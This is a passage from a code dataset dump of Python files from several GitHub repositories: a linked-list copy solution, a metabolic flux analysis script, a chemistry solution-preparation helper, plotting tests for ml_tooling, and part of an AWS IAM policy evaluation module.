delta, expected_messages=1)\r\n self.assert_starts_with(\r\n alert.content, f\"Hey <@{testmogus_id}>, this is a reminder to wake up.\"\r\n )\r\n","repo_name":"AdamJamil/fortmogos","sub_path":"command/tests/test_set_reminder.py","file_name":"test_set_reminder.py","file_ext":"py","file_size_in_byte":4882,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"36993290199","text":"class Node:\n def __init__(self, val, next, random):\n self.val = val\n self.next = next\n self.random = random\n\nclass Solution:\n\n def copyRandomList(self, head: 'Node') -> 'Node':\n \"\"\"\n current = head\n clonedHead = None\n while current:\n cloned = Node(0, None, None)\n if not clonedHead:\n clonedHead = cloned\n cloned.val = current.val\n nextNode = current.next\n current.next = cloned\n cloned.next = nextNode\n current = nextNode\n\n current = head\n\n while current:\n if current.random:\n current.next.random = current.random.next\n current = current.next.next\n\n current = head\n while current:\n nextNode = current.next.next\n if nextNode:\n current.next.next = nextNode.next\n current.next = nextNode\n current = nextNode\n\n return clonedHead\n \"\"\"\n\n map = {}\n clonedHead: 'Node' = None\n clonedPrev: 'Node' = None\n current = head\n while current:\n newCloned = Node(0, None, None)\n map[current] = newCloned\n if not clonedHead:\n clonedHead = newCloned\n newCloned.val = current.val\n if clonedPrev:\n clonedPrev.next = newCloned\n clonedPrev = newCloned\n current = current.next\n\n for key, value in map.items():\n cloned = value\n original = key\n if original.random:\n cloned.random = map[original.random]\n\n return clonedHead\n\n\nif __name__ == \"__main__\":\n node1 = Node(1, None, None)\n\n node2 = Node(2, None, None)\n\n node1.next = node2\n node1.random = node2\n\n node2.next = None\n node2.random = node2\n\n sol = Solution()\n res = sol.copyRandomList(node1)\n print(res)","repo_name":"sumanshil/TopCoder","sub_path":"TopCoder/python/CopyListWithRandomPointer.py","file_name":"CopyListWithRandomPointer.py","file_ext":"py","file_size_in_byte":1948,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"26354383308","text":"import numpy as np\nfrom scipy.optimize import linprog\nfrom sklearn.decomposition import PCA\nimport matplotlib.pyplot as plt\nfrom configs import cfg\n\nimport bokeh.models as bm, bokeh.plotting as pl\nfrom bokeh.io import output_notebook\n\n\nclass Matrix:\n \"\"\"\n \"\"\"\n\n def __init__(self, file_path):\n with open(file_path, \"r\") as f:\n matrix_file = f.read()\n lines = matrix_file.split(\"\\n\")\n self.matrix = np.array([i.split() for i in lines], dtype=np.double)\n\n def get(self):\n \"\"\"\n :return:\n \"\"\"\n return self.matrix\n\n\nclass MatrixError(Exception):\n \"\"\"\n Input Matrix Error Handler\n \"\"\"\n\n\nclass Gauss:\n \"\"\"\n Method's of Gauss\n \"\"\"\n\n def __init__(self, A):\n\n self.line = A.shape[0]\n self.columns = A.shape[1]\n self.A = A.copy()\n\n def forward(self):\n \"\"\"\n :return:\n \"\"\"\n GaussForward = self.A.copy()\n\n step = 0\n while step < self.line:\n if GaussForward[step][step] == 0:\n for idx_line in range(step + 1, self.line):\n if GaussForward[idx_line, step] != 0:\n line = GaussForward[idx_line].copy()\n GaussForward[idx_line] = GaussForward[step].copy()\n GaussForward[step] = line.copy()\n break\n else:\n step += 1\n\n if step == self.line:\n break\n\n GaussForward[step] /= GaussForward[step][step]\n for idx_line in range(step + 1, self.line):\n GaussForward[idx_line] -= (\n GaussForward[idx_line][step] * GaussForward[step]\n )\n step += 1\n\n return GaussForward\n\n def zero_right(self):\n \"\"\"\n :return:\n \"\"\"\n if self.columns == self.line:\n raise MatrixError(\"error matrix\")\n elif self.columns < self.line:\n raise MatrixError(\"error matrix\")\n\n A = self.forward()\n v = np.zeros(self.columns)\n v[self.line :] = 1\n\n for i in range(self.line - 1, -1, -1):\n for j in range(self.line - i):\n v[i] += A[i, self.columns - (j + 1)] * v[self.line - j]\n v[i] *= -1\n\n return v\n\n\nclass Simplex:\n \"\"\"\n\n \"\"\"\n\n def __init__(self, obj, bnd, method=\"revised simplex\"):\n self.obj = obj\n self.bnd = bnd\n self.method = method\n\n def opt(self):\n return linprog(c=self.obj, bounds=self.bnd, method=self.method)\n\n\nclass FBA:\n \"\"\"\n\n \"\"\"\n\n def __init__(self, cfg):\n self.cfg = cfg\n\n def esm(self, A):\n v = Gauss(A).zero_right()*(-1)\n W = Simplex(v, self.cfg[\"bnd\"]).opt()\n return W\n\n\nclass Method:\n \"\"\"\n\n \"\"\"\n\n def __init__(self, cfg):\n self.cfg = cfg\n self.FBA = FBA(self.cfg)\n self.A = Matrix(self.cfg[\"path_mrx\"]).get()\n\n def nulling(self):\n flux = []\n point = []\n\n for i in range(self.A.shape[0]):\n B = self.A.copy()\n B[i] *= 0\n W = self.FBA.esm(B)\n flux.append(W[\"x\"])\n point.append(f'{i}')\n return [flux, point]\n\n def view_psa(self):\n flux = self.nulling()[0]\n flux.append(self.FBA.esm(self.A)['x'])\n fba_psa = PCA(n_components=2).fit_transform(flux)\n plt.scatter(fba_psa[:, 0], fba_psa[:, 1], color=\"g\")\n plt.show()\n\n\ndef draw_vectors(x, y, radius=10, alpha=0.25, color='blue',\n width=1000, height=800, show=True, **kwargs):\n \"\"\" draws an interactive plot for data points with auxilirary info on hover \"\"\"\n if isinstance(color, str): color = [color] * len(x)\n data_source = bm.ColumnDataSource({ 'x' : x, 'y' : y, 'color': color, **kwargs })\n fig = pl.figure(active_scroll='wheel_zoom', width=width, height=height)\n fig.scatter('x', 'y', size=radius, color='color', alpha=alpha, source=data_source)\n\n fig.add_tools(bm.HoverTool(tooltips=[(key, \"@\" + key) for key in kwargs.keys()]))\n if show: pl.show(fig)\n return fig\n\n\nif __name__ == \"__main__\":\n\n retw = Method(cfg.config_fba).nulling()\n retw[1].append('orig')\n\n A = Matrix(cfg.config_fba['path_mrx']).get()\n orig_v = FBA(cfg.config_fba).esm(A)['x']\n\n\n # ---------- experiment ---------->\n # powfe = []\n # neighbors = np.sqrt(np.sum((retw[0] - orig_v)**2, 1)) <= 0.0000000001\n # index_neighbors = np.array(np.where(neighbors == True))[0]\n # for i in index_neighbors:\n # powfe.append(int(retw[1][i]))\n #\n # retw[0].append(orig_v)\n #\n # print(powfe)\n # print(len(powfe))\n # print(A)\n #\n # A = np.delete(A, powfe, axis=0)\n #\n # print(A)\n #\n # test_with_zero = FBA(cfg.config_fba).esm(A)['x']\n # retw[0].append(test_with_zero)\n # retw[1].append('!!!')\n # <---------- !!! ----------\n\n\n retw[0].append(orig_v)\n\n fba_psa = PCA(n_components=2).fit_transform(retw[0])\n draw_vectors(fba_psa[:, 0], fba_psa[:, 1], token=retw[1], color = 'green')\n output_notebook()\n\n\n # plt.scatter(fba_psa[:, 0], fba_psa[:, 1], color=\"g\")\n # plt.show()","repo_name":"daryafom/FBA","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"20289840111","text":"from os import system\r\nmolecular_weight = {\r\n\t\"H\":1,\r\n\t\"Na\":22.99,\r\n\t\"K\":39.10,\r\n\t\"Mg\":24.31,\r\n\t\"Ca\":40.08,\r\n\t\"Cr\":52,\r\n\t\"Mn\":54.94,\r\n\t\"Fe\":55.85,\r\n\t\"Zn\":65.38,\r\n\t\"Al\":26.98,\r\n\t\"C\":12.01,\r\n\t\"N\":14.01,\r\n\t\"O\":16,\r\n\t\"P\":30.97,\r\n\t\"I\":126.9,\r\n\t\"Cl\":35.45,\r\n\t\"S\":32.07,\r\n\t\"F\":19\r\n}\r\n\r\ndef add_reagent_data():\r\n\tdelimiter = \"\"; delimiters = [\":\",\"-\",\";\",\".\",\",\"]\r\n\r\n\tsystem(\"cls\")\r\n\tprint(\"Give the name of the reagent in upper or lowercase first, not its molecular formula, yet...\")\r\n\treagent = input(\"Name of the reagent:\")\r\n\tprint(\"Examples on how to introduce the molecular formula:\",'\\n',\"C3 H8 02 N2\",'\\n',\"C3;H8;02;N2\",'\\n',\"C3:H8:02:N2\")\r\n\tprint(\"You can use any of these delimiters:\",delimiters,\"or just spaces between atoms: C3 H8 02 N2\")\r\n\tprint(\"Also if you want to add for example: NaCl, you'll have to indicate the number of atoms of each element in the molecular formula\")\r\n\tprint(\"Like this: Na1Cl1\")\r\n\tmolecular_formula = input(\"Molecular formula:\")\r\n\r\n\tfor i in molecular_formula: #finding delimiter in string between atoms\r\n\t\tif i == \" \" or i == \",\" or i == \".\" or i == \"-\" or i == \":\" or i == \";\":\r\n\t\t\tdelimiter = i\r\n\t\t\tbreak \r\n\tmolecular_formula = molecular_formula.replace(delimiter,\"\")\r\n\r\n\twith open(\"reagents_data.csv\",\"a+\") as reagents_data_file:\r\n\t\treagents_data_file.writelines('\\n')\r\n\t\treagents_data_file.writelines(reagent+\",\"+molecular_formula) #maybe aqui haya problema con la manera en la que intentas escribir las cosas\r\n\tprint(\"Data successfully uploaded, press enter to continue\")\r\n\tinput(); system(\"cls\")\r\n\treturn \r\n\r\ndef search_for_reagent(reagent):\r\n\tfound = False; line1 = \"\"\r\n\twith open(\"reagents_data.csv\",\"r\") as reagents_data_file:\r\n\t\tfor line in reagents_data_file:\r\n\t\t\tline1 = line.split(\",\")\r\n\t\t\tfor element in line1:\r\n\t\t\t\tif element == reagent.capitalize() or element == reagent.lower() or element == reagent.title() or element == reagent: #crea variables para cada una en caso de que no funcione\r\n\t\t\t\t\tsystem(\"cls\")\r\n\t\t\t\t\tprint(\"Data of the reagent is already in the program\")\r\n\t\t\t\t\tfound = True\r\n\t\t\t\t\tbreak\r\n\t\t\tline1.clear()\r\n\t\tif found == False:\r\n\t\t\tsystem(\"cls\")\r\n\t\t\tprint(\"Data of the reagent\",reagent,\"isn't available. Please, upload it\")\r\n\treturn\r\n\r\ndef search_reagent_for_calculations(reagent):\r\n\tline1 = \"\"; save_the_next_element = False; molecular_formula = \"\"\r\n\twith open(\"reagents_data.csv\",\"r\") as reagents_data_file:\r\n\t\tfor line in reagents_data_file:\r\n\t\t\tline1 = line.split(\",\")\r\n\t\t\tfor element in line1:\r\n\t\t\t\tif element == reagent.capitalize() or element == reagent.lower() or element == reagent.title(): #crea variables para cada una en caso de que no funcione\r\n\t\t\t\t\tsave_the_next_element = True\r\n\t\t\t\t\tcontinue\r\n\t\t\t\tif save_the_next_element == True:\r\n\t\t\t\t\tmolecular_formula = element\r\n\t\t\t\t\tbreak\r\n\t\t\tline1.clear()\r\n\t\t\tif save_the_next_element == True:\r\n\t\t\t\tsave_the_next_element = False\r\n\t\t\t\tbreak\r\n\treturn molecular_formula\r\n\r\ndef convert_str_to_dict(molecular_formula):\r\n\twait = False; value = \"\"; key = \"\"; dict_mol_form = {}\r\n\tfor i in range(len(molecular_formula)): #filling dic_mol_formula with the molecular formula given\r\n\t\tif i < len(molecular_formula) - 1 and molecular_formula[i].isalpha() and molecular_formula[i+1].isalpha():\r\n\t\t\twait = True\r\n\t\t\tkey = molecular_formula[i]\r\n\t\telif i < len(molecular_formula) - 1 and molecular_formula[i].isalpha() and molecular_formula[i+1].isdigit() and wait == False:\r\n\t\t\tkey = molecular_formula[i]\r\n\t\telif molecular_formula[i].isalpha() and wait == True:\r\n\t\t\twait = False\r\n\t\t\tkey = key + molecular_formula[i]\r\n\t\telif molecular_formula[i].isalpha() and i == len(molecular_formula) - 1:\r\n\t\t\tkey = key + molecular_formula[i]\r\n\r\n\t\tif i < len(molecular_formula) - 1 and molecular_formula[i].isdigit() and molecular_formula[i+1].isdigit():\r\n\t\t\twait = True\r\n\t\t\tvalue = molecular_formula[i]\r\n\t\telif i < len(molecular_formula) - 1 and molecular_formula[i].isdigit() and molecular_formula[i+1].isalpha() and wait == False:\r\n\t\t\tvalue = molecular_formula[i]\r\n\t\telif molecular_formula[i].isdigit() and wait == True:\r\n\t\t\twait = False\r\n\t\t\tvalue = value + molecular_formula[i]\r\n\t\telif molecular_formula[i].isdigit() and i == len(molecular_formula) - 1:\r\n\t\t\tvalue = value + molecular_formula[i]\r\n\t\r\n\t\tif value!= \"\" and key != \"\" and wait == False:\r\n\t\t\tdict_mol_form[key] = int(value)\r\n\t\t\tvalue = str(value)\r\n\t\t\tvalue = \"\"; key = \"\"\r\n\treturn dict_mol_form\r\n\r\ndef solution_preparation():\r\n\tmols_sol = 0; lts_solution = 0; molecular_formula = \"\"; dict_molecular_form = \"\"; total_mol_weight = 0; mlts_solute = 0; grms_solute = 0\r\n\tsystem(\"cls\")\r\n\tprint(\"I'll be working just with molar, p/v and v/v concentrations\",'\\n')\r\n\tprint(\"Select a type of concentration:\",'\\n',\"1. Molar[M]\",'\\n',\"2. p/v\",'\\n',\"3. v/v\")\r\n\tconcentration_type = int(input())\r\n\r\n\tif concentration_type == 1:\r\n\t\tsystem(\"cls\"); print(\"------------MOLAR CONCENTRATION-----------\")\r\n\t\treagent_name = input(\"Reagent name:\")\r\n\t\tml_solution = float(input(\"How many mL of solution you need to prepare?:\"));\r\n\t\tconcentration = float(input(\"At which concentration will be your solution?:\")); print('\\n')\r\n\t\tlts_solution = (ml_solution)*(1/1000)\r\n\r\n\t\tmols_sol = concentration*lts_solution\r\n\r\n\t\tmolecular_formula = search_reagent_for_calculations(reagent_name)\r\n\t\tdict_molecular_form = convert_str_to_dict(molecular_formula) #ES UN STRING EN REALIDAD\r\n\t\tprint(\"Diccionario dict_molecular_form\",dict_molecular_form) #viene de convert_str_to_dict\r\n\t\tfor atom_int, mol_weight_int in dict_molecular_form.items(): #Puede que haya problemas aqui porque estas guardando el dict en una variable string\r\n\t\t\tfor atom, mol_weight in molecular_weight.items():\r\n\t\t\t\tif atom_int == atom:\r\n\t\t\t\t\ttotal_mol_weight = total_mol_weight + (mol_weight_int*mol_weight)\r\n\t\t\t\t\tbreak\r\n\r\n\t\tgrms_solute = round(total_mol_weight*mols_sol,3)\r\n\t\tprint(\"In order to prepare this solution, you need to weigh\",grms_solute,\"grams of\",reagent_name,\"and disolve it on\",ml_solution,\"mL of dH2O\")\r\n\r\n\telif concentration_type == 2:\r\n\t\tsystem(\"cls\"); print(\"------------P/V CONCENTRATION-----------\")\r\n\t\treagent_name = input(\"Reagent name:\")\r\n\t\tml_solution = float(input(\"How many mL of solution you need to prepare?:\"))\r\n\t\tconcentration = float(input(\"In what percentage you need your solution?:\"))\r\n\r\n\t\tgrms_solute = round(((concentration*ml_solution)/100),3)\r\n\t\tprint(\"In order to prepare this solution, you need to weigh\",grms_solute,\"grams of\",reagent_name,\"and disolve it on\",ml_solution,\"mL of dH2O\")\r\n\r\n\telif concentration_type == 3:\r\n\t\tsystem(\"cls\"); print(\"------------V/V CONCENTRATION-----------\")\r\n\t\treagent_name = input(\"Reagent name:\")\r\n\t\tml_solution = float(input(\"How many mL of solution you need to prepare?:\"))\r\n\t\tconcentration = float(input(\"In what percentage you need your solution?:\"))\r\n\r\n\t\tmlts_solute = round(((concentration*ml_solution)/100),3)\r\n\t\tprint(\"In order to prepare this solution, you need\",mlts_solute,\"mL of\",reagent_name,\"and mix it with\",ml_solution,\"mL of dH2O\")\r\n\treturn","repo_name":"eristar8/pythonclassITMO","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":6914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"31791279497","text":"import numpy as np\nimport pytest\nfrom matplotlib import pyplot as plt\nfrom matplotlib.axes import Axes\nfrom sklearn.linear_model import LinearRegression\n\nfrom ml_tooling import Model\nfrom ml_tooling.data import load_demo_dataset\nfrom ml_tooling.result import Result\n\n\nclass TestResidualPlot:\n @pytest.fixture(scope=\"class\")\n def regression_result(self) -> Result:\n \"\"\"Setup a regression result\"\"\"\n dataset = load_demo_dataset(\"california\")\n model = Model(LinearRegression())\n return model.score_estimator(dataset)\n\n @pytest.fixture(scope=\"class\")\n def ax(self, regression_result) -> Axes:\n \"\"\"Setup a residuals plot\"\"\"\n yield regression_result.plot.residuals()\n plt.close()\n\n def test_residuals_plots_can_be_given_an_ax(self, regression_result: Result):\n \"\"\"Expect that the plot will use the axes provided to draw on\"\"\"\n fig, ax = plt.subplots()\n test_ax = regression_result.plot.residuals(ax=ax)\n assert ax == test_ax\n plt.close()\n\n def test_has_correct_title(self, ax: Axes):\n \"\"\"Expect the plot to have the correct title\"\"\"\n assert \"Residual Plot - LinearRegression\" == ax.title.get_text()\n\n def test_has_correct_ylabel(self, ax: Axes):\n \"\"\"Expect the plot to have correct ylabels\"\"\"\n assert ax.get_ylabel() == \"Residuals\"\n\n def test_has_correct_xlabel(self, ax: Axes):\n \"\"\"Expect the plot to have correct xlabels\"\"\"\n assert ax.get_xlabel() == \"Predicted Value\"\n\n def test_residual_plots_have_correct_data(\n self, ax: Axes, regression_result: Result\n ):\n \"\"\"Expect the plot to have the correct data\"\"\"\n x = regression_result.plot._data.test_x\n y = regression_result.plot._data.test_y\n y_pred = regression_result.estimator.predict(x)\n expected = y_pred - y\n\n assert np.all(expected == ax.collections[0].get_offsets()[:, 1])\n assert np.all(y_pred == ax.collections[0].get_offsets()[:, 0])\n plt.close()\n","repo_name":"andersbogsnes/ml_tooling","sub_path":"tests/test_visualizations/test_residual_plot.py","file_name":"test_residual_plot.py","file_ext":"py","file_size_in_byte":2022,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"53"}
+{"seq_id":"527666408","text":"from dataclasses import dataclass\nfrom logging import Logger\nfrom typing import Dict, Generator, List, Optional, Set, Tuple\n\nfrom aws_ptrp.actions.aws_actions import AwsActions\nfrom aws_ptrp.iam.policy.policy_document import Effect, PolicyDocument, PolicyDocumentCtx\nfrom aws_ptrp.iam.policy.policy_document_resolver import get_identity_based_resolver, get_resource_based_resolver\nfrom aws_ptrp.principals import Principal\nfrom aws_ptrp.principals.aws_principals import AwsPrincipals\nfrom aws_ptrp.resources.account_resources import AwsAccountResources\nfrom aws_ptrp.services import (\n MethodOnStmtActionsResultType,\n MethodOnStmtActionsType,\n MethodOnStmtsActionsResult,\n ServiceActionType,\n ServiceResourceBase,\n ServiceResourcesResolverBase,\n ServiceResourceType,\n)\nfrom aws_ptrp.services.resolved_stmt import ResolvedSingleStmt\n\n\n@dataclass\nclass PolicyEvaluationExplicitDenyResult:\n difference_stmts_result_from_identity_policies: Optional[MethodOnStmtsActionsResult] = None\n difference_stmts_result_from_resource_policy: Optional[MethodOnStmtsActionsResult] = None\n\n @staticmethod\n def _yield_resolved_stmts(\n difference_stmts_results: Optional[MethodOnStmtsActionsResult],\n method_on_stmt_actions_type: MethodOnStmtActionsType,\n method_on_stmt_actions_result_type: MethodOnStmtActionsResultType,\n ) -> Generator[Tuple[ResolvedSingleStmt, MethodOnStmtActionsResultType], None, None]:\n if method_on_stmt_actions_type == MethodOnStmtActionsType.DIFFERENCE:\n if difference_stmts_results:\n for resolved_stmt_result in difference_stmts_results.resolved_stmt_results:\n if resolved_stmt_result.result == method_on_stmt_actions_result_type:\n yield (resolved_stmt_result.resolved_single_stmt, method_on_stmt_actions_result_type)\n\n def yield_resolved_stmts(\n self,\n method_on_stmt_actions_type: MethodOnStmtActionsType,\n method_on_stmt_actions_result_type_list: List[MethodOnStmtActionsResultType],\n ) -> Generator[Tuple[ResolvedSingleStmt, MethodOnStmtActionsResultType], None, None]:\n for method_on_stmt_actions_result_type in method_on_stmt_actions_result_type_list:\n yield from PolicyEvaluationExplicitDenyResult._yield_resolved_stmts(\n self.difference_stmts_result_from_resource_policy,\n method_on_stmt_actions_type,\n method_on_stmt_actions_result_type,\n )\n yield from PolicyEvaluationExplicitDenyResult._yield_resolved_stmts(\n self.difference_stmts_result_from_identity_policies,\n method_on_stmt_actions_type,\n method_on_stmt_actions_result_type,\n )\n\n\n@dataclass\nclass PolicyEvaluationApplyResult:\n explicit_deny_result: PolicyEvaluationExplicitDenyResult\n\n\n@dataclass\nclass PolicyEvaluationResult:\n target_resolver: Optional[ServiceResourcesResolverBase] = None\n policy_apply_result: Optional[PolicyEvaluationApplyResult] = None\n\n def get_target_resolver(self) -> Optional[ServiceResourcesResolverBase]:\n if self.target_resolver and self.target_resolver.is_empty() is False:\n return self.target_resolver\n return None\n\n def get_policy_apply_result(self) -> Optional[PolicyEvaluationApplyResult]:\n return self.policy_apply_result\n\n\n@dataclass\nclass PolicyEvaluationsResult:\n result: Optional[PolicyEvaluationResult] = None\n result_cross_account: Optional[PolicyEvaluationResult] = None\n\n def get_target_resolver(self) -> Optional[ServiceResourcesResolverBase]:\n if self.result:\n return self.result.get_target_resolver()\n return None\n\n def get_policy_apply_result(self) -> Optional[PolicyEvaluationApplyResult]:\n if self.result:\n return self.result.get_policy_apply_result()\n return None\n\n def get_cross_account_policy_apply_result(self) -> Optional[PolicyEvaluationApplyResult]:\n if self.result_cross_account:\n return self.result_cross_account.get_policy_apply_result()\n return None\n\n\n@dataclass\nclass PolicyEvaluation:\n logger: Logger\n identity_principal: Principal\n service_resource_type: ServiceResourceType\n identity_policies_service_resolver: Optional[ServiceResourcesResolverBase]\n resource_policy_service_resolver: Optional[ServiceResourcesResolverBase]\n # session_policies_service_resolver: List[ServiceResourcesResolverBase]\n # permission_boundary_policy_service_resolver: Optional[Dict[ServiceResourcesResolverBase]]\n aws_actions: AwsActions\n aws_principals: AwsPrincipals\n account_resources: AwsAccountResources\n\n def _apply_explicit_deny(\n self, target_policies_service_resolver: ServiceResourcesResolverBase\n ) -> PolicyEvaluationExplicitDenyResult:\n # subtract the explicit denies from the relevant policies\n ret = PolicyEvaluationExplicitDenyResult()\n if self.identity_policies_service_resolver:\n ret.difference_stmts_result_from_identity_policies = (\n target_policies_service_resolver.apply_method_on_stmts_actions(\n MethodOnStmtActionsType.DIFFERENCE, self.identity_principal, self.identity_policies_service_resolver\n )\n )\n if self.resource_policy_service_resolver:\n ret.difference_stmts_result_from_resource_policy = (\n target_policies_service_resolver.apply_method_on_stmts_actions(\n MethodOnStmtActionsType.DIFFERENCE, self.identity_principal, self.resource_policy_service_resolver\n )\n )\n return ret\n\n def _apply_policy_evaluation(\n self, target_policies_service_resolver: ServiceResourcesResolverBase\n ) -> PolicyEvaluationApplyResult:\n explicit_deny_result = self._apply_explicit_deny(target_policies_service_resolver)\n return PolicyEvaluationApplyResult(explicit_deny_result=explicit_deny_result)\n\n @staticmethod\n def _apply_intersection_on_service_resolvers(\n identity_principal: Principal,\n service_resolvers: List[Optional[ServiceResourcesResolverBase]],\n ) -> Optional[ServiceResourcesResolverBase]:\n if not service_resolvers or service_resolvers[0] is None or service_resolvers[0].is_empty():\n return None\n # No need to do INTERSECTION for the first entry with itself\n ret: ServiceResourcesResolverBase = service_resolvers[0]\n\n for service_resolver in service_resolvers[1:]:\n if service_resolver is None or service_resolver.is_empty():\n return None\n ret.apply_method_on_stmts_actions(\n MethodOnStmtActionsType.INTERSECTION, identity_principal, service_resolver\n )\n\n if ret.is_empty() is False:\n return ret\n return None\n\n @classmethod\n def _load(\n cls,\n logger: Logger,\n identity_principal: Principal,\n resource_policy_ctx: Optional[PolicyDocumentCtx],\n service_resource_type: ServiceResourceType,\n aws_actions: AwsActions,\n aws_principals: AwsPrincipals,\n account_resources: AwsAccountResources,\n principal_policies_ctx: List[PolicyDocumentCtx],\n ) -> 'PolicyEvaluation':\n identity_policies_service_resolver = cls._get_identity_policies_service_resolver(\n logger=logger,\n aws_actions=aws_actions,\n aws_principals=aws_principals,\n account_resources=account_resources,\n identity_principal=identity_principal,\n service_resource_type=service_resource_type,\n principal_policies_ctx=principal_policies_ctx,\n effect=Effect.Deny,\n )\n resource_policy_service_resolver = cls._get_resource_policy_service_resolver(\n logger=logger,\n aws_actions=aws_actions,\n aws_principals=aws_principals,\n account_resources=account_resources,\n service_resource_type=service_resource_type,\n resource_policy_ctx=resource_policy_ctx,\n effect=Effect.Deny,\n )\n\n policy_evaluation = cls(\n logger=logger,\n identity_principal=identity_principal,\n service_resource_type=service_resource_type,\n identity_policies_service_resolver=identity_policies_service_resolver,\n resource_policy_service_resolver=resource_policy_service_resolver,\n aws_actions=aws_actions,\n aws_principals=aws_principals,\n account_resources=account_resources,\n )\n return policy_evaluation\n\n @classmethod\n def _get_identity_policies_service_resolver(\n cls,\n logger: Logger,\n aws_actions: AwsActions,\n aws_principals: AwsPrincipals,\n account_resources: AwsAccountResources,\n identity_principal: Principal,\n service_resource_type: ServiceResourceType,\n principal_policies_ctx: List[PolicyDocumentCtx],\n effect: Effect,\n ) -> Optional[ServiceResourcesResolverBase]:\n allowed_service_action_types: Set[ServiceActionType] = set([service_resource_type])\n identity_policies_services_resolver: Optional[\n Dict[ServiceResourceType, ServiceResourcesResolverBase]\n ] = get_identity_based_resolver(\n logger=logger,\n policy_documents_ctx=principal_policies_ctx,\n identity_principal=identity_principal,\n aws_actions=aws_actions,\n aws_principals=aws_principals,\n account_resources=account_resources,\n effect=effect,\n allowed_service_action_types=allowed_service_action_types,\n )\n\n if identity_policies_services_resolver:\n identity_policies_service_resolver: Optional[\n ServiceResourcesResolverBase\n ] = identity_policies_services_resolver.get(service_resource_type)\n else:\n identity_policies_service_resolver = None\n\n return identity_policies_service_resolver\n\n @classmethod\n def _get_resource_policy_service_resolver(\n cls,\n logger: Logger,\n aws_actions: AwsActions,\n aws_principals: AwsPrincipals,\n account_resources: AwsAccountResources,\n service_resource_type: ServiceResourceType,\n resource_policy_ctx: Optional[PolicyDocumentCtx],\n effect: Effect,\n ) -> Optional[ServiceResourcesResolverBase]:\n if resource_policy_ctx:\n resource_policy_service_resolver: Optional[ServiceResourcesResolverBase] = get_resource_based_resolver(\n logger=logger,\n policy_document=resource_policy_ctx.policy_document,\n service_resource_type=service_resource_type,\n resource_arn=resource_policy_ctx.parent_arn,\n resource_aws_account_id=resource_policy_ctx.parent_aws_account_id,\n aws_actions=aws_actions,\n aws_principals=aws_principals,\n account_resources=account_resources,\n effect=effect,\n )\n else:\n resource_policy_service_resolver = None\n return resource_policy_service_resolver\n\n @classmethod\n def run_target_policies_identity_based(\n cls,\n logger: Logger,\n aws_actions: AwsActions,\n aws_principals: AwsPrincipals,\n account_resources: AwsAccountResources,\n identity_principal: Principal,\n target_identity_policies_ctx: List[PolicyDocumentCtx],\n service_resource_type: ServiceResourceType,\n service_resource: ServiceResourceBase,\n principal_policies_ctx: List[PolicyDocumentCtx],\n # session_policies: List[PolicyDocument] = [],\n # permission_boundary_policy: Optional[PolicyDocument] = None,\n during_cross_account_checking_flow: bool = False,\n ) -> PolicyEvaluationResult:\n # in cross account, identity_principal (not the original principal!, but the last principal to be assumed in the path)\n # can has accesses to a resource only if the target_policy is a resource based policy\n policy_evaluation_result = PolicyEvaluationResult()\n if during_cross_account_checking_flow is False:\n if identity_principal.get_account_id() != service_resource.get_resource_account_id():\n return policy_evaluation_result\n\n target_policies_service_resolver = cls._get_identity_policies_service_resolver(\n logger,\n aws_actions,\n aws_principals,\n account_resources,\n identity_principal,\n service_resource_type,\n target_identity_policies_ctx,\n Effect.Allow,\n )\n if target_policies_service_resolver is None or target_policies_service_resolver.is_empty():\n return policy_evaluation_result\n policy_evaluation_result.target_resolver = target_policies_service_resolver\n\n resource_policy: Optional[PolicyDocument] = service_resource.get_resource_policy()\n if resource_policy:\n resource_policy_ctx: Optional[PolicyDocumentCtx] = PolicyDocumentCtx(\n policy_document=resource_policy,\n policy_name=service_resource.get_resource_name(),\n parent_arn=service_resource.get_resource_arn(),\n parent_aws_account_id=service_resource.get_resource_account_id(),\n )\n else:\n resource_policy_ctx = None\n\n policy_evaluation = cls._load(\n logger=logger,\n identity_principal=identity_principal,\n resource_policy_ctx=resource_policy_ctx,\n service_resource_type=service_resource_type,\n aws_actions=aws_actions,\n aws_principals=aws_principals,\n account_resources=account_resources,\n principal_policies_ctx=principal_policies_ctx,\n )\n\n policy_apply_result = policy_evaluation._apply_policy_evaluation(policy_evaluation_result.target_resolver)\n policy_evaluation_result.policy_apply_result = policy_apply_result\n return policy_evaluation_result\n\n @classmethod\n def run_target_policy_resource_based(\n cls,\n logger: Logger,\n aws_actions: AwsActions,\n aws_principals: AwsPrincipals,\n account_resources: AwsAccountResources,\n identity_principal: Principal,\n target_service_resource: ServiceResourceBase,\n service_resource_type: ServiceResourceType,\n principal_policies_ctx: List[PolicyDocumentCtx],\n # session_policies: List[PolicyDocument] = [],\n # permission_boundary_policy: Optional[PolicyDocument] = None,\n ) -> PolicyEvaluationsResult:\n policy_evaluations_result = PolicyEvaluationsResult()\n resource_policy: Optional[PolicyDocument] = target_service_resource.get_resource_policy()\n if resource_policy is None:\n return policy_evaluations_result\n\n resource_policy_ctx: PolicyDocumentCtx = PolicyDocumentCtx(\n policy_document=resource_policy,\n policy_name=target_service_resource.get_resource_name(),\n parent_arn=target_service_resource.get_resource_arn(),\n parent_aws_account_id=target_service_resource.get_resource_account_id(),\n )\n\n target_policy_service_resolver: Optional[\n ServiceResourcesResolverBase\n ] = cls._get_resource_policy_service_resolver(\n logger=logger,\n resource_policy_ctx=resource_policy_ctx,\n service_resource_type=service_resource_type,\n aws_actions=aws_actions,\n aws_principals=aws_principals,\n account_resources=account_resources,\n effect=Effect.Allow,\n )\n if target_policy_service_resolver is None or target_policy_service_resolver.is_empty():\n return policy_evaluations_result\n policy_evaluations_result.result = PolicyEvaluationResult()\n policy_evaluations_result.result.target_resolver = target_policy_service_resolver\n\n policy_evaluation = cls._load(\n logger=logger,\n identity_principal=identity_principal,\n resource_policy_ctx=resource_policy_ctx,\n service_resource_type=service_resource_type,\n aws_actions=aws_actions,\n aws_principals=aws_principals,\n account_resources=account_resources,\n principal_policies_ctx=principal_policies_ctx,\n )\n\n policy_apply_result = policy_evaluation._apply_policy_evaluation(\n policy_evaluations_result.result.target_resolver\n )\n 